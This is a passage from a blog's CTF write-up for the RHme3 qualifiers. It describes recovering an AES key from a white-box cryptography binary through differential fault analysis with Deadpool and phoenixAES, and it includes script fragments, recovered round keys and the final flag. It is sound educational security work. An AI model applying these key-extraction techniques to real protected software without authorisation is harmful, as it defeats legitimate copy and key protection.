        <span class="n">verbose</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">k</span><span class="p">:</span>
        <span class="n">foundkey</span> <span class="o">=</span> <span class="n">k</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">lastroundkeys</span>
        <span class="n">lastroundkeys</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
        <span class="nb">round</span> <span class="o">-=</span> <span class="mi">1</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'lastroundkeys.lst'</span><span class="p">,</span><span class="s">'w+'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">lastroundkeys</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="n">key</span><span class="p">)</span>
</code></pre></div></div>

<p>Which basically tries to find the key of round 10 with that round’s faulty outputs, and if successful, tries the same with round 9 plus round 10 key, and so on until all keys are recovered. I was very excited when I saw the output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Round 10
Last round key #N found:
4E44EACD3F54F5B54A4FB15E0710B974
Round 9
Round key #N-1 found:
B7740F2E71101F78751B44EB4D5F082A
Round 8
Round key #N-2 found:
B75D7729C6641056040B5B9338444CC1
Round 7
Round key #N-3 found:
B3AD77C27139677FC26F4BC53C4F1752
Round 6
Round key #N-4 found:
44E7FF79C29410BDB3562CBAFE205C97
Round 5
Round key #N-5 found:
5CB6279A8673EFC471C23C074D76702D
Round 4
Round key #N-6 found:
C19FC271DAC5C85EF7B1D3C33CB44C2A
Round 3
Round key #N-7 found:
A244DC6E1B5A0A2F2D741B9DCB059FE9
Round 2
Round key #N-8 found:
051B4EE0B91ED641362E11B2E6718474
</code></pre></div></div>
<p>And yes, I know you noticed: round 1 isn’t there, both the faults and the keys only work until round 2. But isn’t that the point? To obtain the round 1 key and therefore the full AES key, which is the challenge’s goal?</p>

<p>Well, the thing is that I <em>tried</em> to generate faults for round 1 (this is, before any transformation is performed on the data matrix), and even though I had to adjust the script specially for that (another address to inject the fault into, modify more than one byte at a time, and some other things), the faults that I obtained, even though apparently useful, weren’t enough for JeanGrey to obtain the last (first round) key. God dammit!</p>

<h2 id="extra-round">Extra round</h2>

<p>At this point, I was desperate. So close, only one round key left, and yet so far, as I was unable to use all the previous keys with the faulty outputs of round 1 to obtain the damn full AES key! After banging my head against walls for around two days, I tried to expand my point of view. I thought that maybe I wasn’t using the tools correctly, so I looked for examples of correct usage of <code class="language-plaintext highlighter-rouge">phoenixAES.py</code> (aka JeanGrey). And then I analyzed (more carefully this time) the code of <code class="language-plaintext highlighter-rouge">deadpool_dfa_experimental.py</code>, a kind of companion script for the Deadpool tool that pretty much does what I was trying to do here, with the only exception that my faults were dynamically generated.</p>

<p>The important point is that I discovered that Deadpool has a mode in which it’s able to generate faults <strong>directly on the input</strong> of the binary. And isn’t that the same than injecting faults into round 1? Of course it is! Now, I have to admit it: I have <em>no idea</em> why the faults generated this way worked but the ones generated by me didn’t, but the thing is that, using Deadpool’s function <code class="language-plaintext highlighter-rouge">runoninput</code> with all the previously obtained keys (rounds 10 to 2), JeanGrey finally was able to obtain the last round key.</p>

<p>Now it was only a matter of reversing the first stages of the AES algorithm to obtain the full key. I stole some more code from the good guys at <a href="https://github.com/SideChannelMarvels">SideChannelMarvels</a> to perform just that:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cint</span><span class="p">,</span><span class="n">_</span><span class="p">,</span><span class="n">_</span> <span class="o">=</span> <span class="n">engine</span><span class="p">.</span><span class="n">doit</span><span class="p">(</span><span class="n">engine</span><span class="p">.</span><span class="n">goldendata</span><span class="p">,</span> <span class="n">processinput</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="mi">16</span><span class="p">),</span> <span class="n">lastroundkeys</span><span class="o">=</span><span class="p">[])</span>
<span class="n">c</span> <span class="o">=</span> <span class="p">[(</span><span class="n">cint</span><span class="o">&gt;&gt;</span><span class="p">(</span><span class="n">i</span><span class="o">&lt;&lt;</span><span class="mi">3</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">)][::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="n">kr0</span> <span class="o">=</span> <span class="n">phoenixAES</span><span class="p">.</span><span class="n">rewind</span><span class="p">(</span><span class="n">cint</span><span class="p">,</span> <span class="n">lastroundkeys</span><span class="p">,</span> <span class="n">encrypt</span><span class="o">=</span><span class="n">encrypt</span><span class="p">,</span> <span class="n">mimiclastround</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>

<span class="n">found_key</span> <span class="o">=</span> <span class="s">'%032X'</span> <span class="o">%</span> <span class="n">kr0</span>
</code></pre></div></div>

<p>And then:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Round key #N-9 found:
C831FA90BC0598A18F30C7F3D05F95C6
First round key found?:
61316C5F7434623133355F525F6F5235
</code></pre></div></div>

<p>My hands trembled at this point, writing which I hoped was the last line of code to obtain the flag of the challenge:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;&gt;&gt;</span><span class="s">'61316C5F7434623133355F525F6F5235'</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="s">'a1l_t4b135_R_oR5'</span>
</code></pre></div></div>

<p>Is it the flag? It looks like the flag! We got the flag! \o/</p>

<h2 id="conclusion">Conclusion</h2>

<p>This challenge was quite unique in its own right. I was forced to learn new things (mainly how White-Box Cryptography and AES work), read some papers, watch some talks… which was great. I also had the opportunity to assemble some code that, even though dirty, did the trick. And I always enjoy coding!</p>

<p>On the other hand, I felt at times I was blindly following a route opened by others. <a href="http://hacktracking.blogspot.com">t0n1</a> was of <strong>huge</strong> help, specially with the RE part, and when he got the flag by performing another attack in a much easier way (check his blog for details), I got quite a bit frustrated. But I decided to keep trying with my “own” method and my dirty scripts and my hundreds of faulty outputs until I got this right. And I’m happy I did!</p>

<p>The <a href="https://github.com/SideChannelMarvels">SideChannelMarvels</a> repos were another example of “trusting in magic”. I of course read the papers and tried to understand the tools and the attacks, even took some code and rewrote it a little. But in the end, the challenge was solved by throwing inputs at the tool and adjusting the whole thing until the right outputs were thrown back. I don’t know, maybe the 100% right thing to do was to implement my own fault analysis tool from scratch just by reading the paper that describes the attack, but I felt that was beyond my current skill and time frame for the RHme3 quals.</p>

<p>To wrap up: fun challenge, I learned a lot, it was very rewarding when the flag appeared on screen. <em>But</em> I can’t help but feeling a little “script-kiddie” using these on the other hand great tools without fully understanding them (to <a href="https://github.com/SideChannelMarvels">SideChannelMarvels</a>, you guys are great! Big thanks for the hard work!). But anyway, a flag is a flag and that means challenge complete.</p>

<h2 id="code">Code</h2>

<p>All the scripts I used to solve this challenge can be found in this <a href="https://github.com/atorralba/rhme3">GitHub repo</a>.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[OK, let’s begin with a shameful confession: I had absolutely no idea about White-Box Cryptography before starting this challenge. That means I had to read quite a lot about it, understand its purpose, strengths and flaws, before even considering solving it. In this write-up, I will try to explain my approach to the challenge, the problems I encountered and how I finally got the solution. Let’s begin!]]></summary></entry></feed>